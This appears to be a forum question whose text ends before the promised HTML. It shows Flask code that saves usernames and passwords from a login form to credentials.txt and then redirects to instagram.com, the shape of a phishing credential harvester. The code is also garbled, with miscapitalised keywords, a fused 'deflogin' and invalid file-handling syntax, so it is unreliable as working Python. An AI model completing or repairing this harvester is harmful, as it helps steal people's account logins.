Issue
The title basically describes it. I’m playing around with flask on localhost and was wondering how to write the credentials given in the html form to a txt file. Here is the flask app code and html:
from Flask import Flask, render_template, request, redirect
app = Flask(__name__, static_folder='static', template_folder='templates')
@app.route('/')
Def index():
return render_template('index.html')
@app.route('/login', Methods=['POST'])
deflogin():
username = request.form['username']
password = request.form['password']
print(f'username: {username}\npassword: {password}')
open('credentials.txt', 'w') to f:
f.write(f'username: {username}\npassword: {password}')
Return redirect ("https://www.instagram.com/")
If __name__ == '__main__':
app.run(debug=True)
The HTML is: